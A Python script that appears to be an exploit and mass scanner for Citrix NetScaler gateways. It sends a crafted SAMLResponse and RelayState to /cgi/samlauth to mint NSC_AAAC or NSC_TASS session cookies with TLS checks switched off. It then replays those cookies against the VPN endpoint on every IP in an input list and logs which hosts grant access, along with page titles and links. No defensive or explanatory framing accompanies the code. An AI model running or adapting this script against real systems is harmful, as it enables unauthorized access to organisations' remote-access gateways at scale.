import base64, re, ssl, sys, urllib.error, urllib.parse, urllib.request

UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36"
RS16 = base64.b64encode(b"ctx=" + b"\x00" * 12).decode()


def opener():
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    ctx.set_ciphers("DEFAULT@SECLEVEL=1")

    class NoRedir(urllib.request.HTTPRedirectHandler):
        def redirect_request(self, *a, **k):
            return None

    return urllib.request.build_opener(urllib.request.HTTPSHandler(context=ctx), NoRedir())


def call(op, ip, path, cookie=None, data=None):
    req = urllib.request.Request("https://%s%s" % (ip, path), data=data)
    req.add_header("User-Agent", UA)
    if data is not None:
        req.add_header("Content-Type", "application/x-www-form-urlencoded")
    if cookie:
        req.add_header("Cookie", cookie)
    try:
        r = op.open(req, timeout=15)
        return r.status, r.headers.get("Location") or "", r.read(300000).decode("utf-8", "replace")
    except urllib.error.HTTPError as e:
        return e.code, e.headers.get("Location") or "", e.read(300000).decode("utf-8", "replace")
    except Exception as e:
        return None, "", type(e).__name__


def mint(op, ip):
    body = ("SAMLResponse=AAAA&RelayState=" + urllib.parse.quote(RS16, safe="")).encode()
    st, loc, _ = call(op, ip, "/cgi/samlauth", None, body)
    # cookie is on the 302 response; re-issue to capture Set-Cookie
    req = urllib.request.Request("https://%s/cgi/samlauth" % ip, data=body)
    req.add_header("User-Agent", UA)
    req.add_header("Content-Type", "application/x-www-form-urlencoded")
    ck = None
    try:
        op.open(req, timeout=15)
    except urllib.error.HTTPError as e:
        for c in (e.headers.get_all("Set-Cookie") or []):
            name = c.split("=")[0].strip()
            if name in ("NSC_AAAC", "NSC_TASS") and "xyz" not in c.split(";")[0]:
                ck = c.split(";")[0]
    return ck, st, loc


def check(ip):
    op = opener()
    ck, st0, loc0 = mint(op, ip)
    if not ck:
        return "%s\tNOMINT\t%d\t%s" % (ip, st0 or 0, loc0[:40])
    cookie = ck
    st, loc, body = call(op, ip, "/cgi/setclient?cvpn", cookie)
    if st == 403:
        return "%s\tDENY\t403\t%s" % (ip, cookie[:30])
    landing = ""
    if st in (301, 302) and loc.startswith("/"):
        st2, loc2, body2 = call(op, ip, loc, cookie)
        body = body2
        landing = "%d|%s" % (st2 or 0, loc2[:40])
    titles = re.findall(r"<title[^>]*>(.{0,60}?)</title>", body, re.S | re.I)
    links = re.findall(r'href="(/[^"]{1,80})"', body)[:6]
    return "%s\tALLOW\t%d\t%s\t%s\t%s\t%s" % (
        ip, st or 0, loc[:50], landing,
        (titles[0].strip() if titles else "")[:50], ",".join(links)[:120])


def main():
    src, out = sys.argv[1], sys.argv[2]
    ips = [l.split("\t")[0].strip() for l in open(src) if l.strip()]
    with open(out, "w") as f:
        for ip in ips:
            line = check(ip)
            f.write(line + "\n")
            f.flush()
            print(line, flush=True)


main()
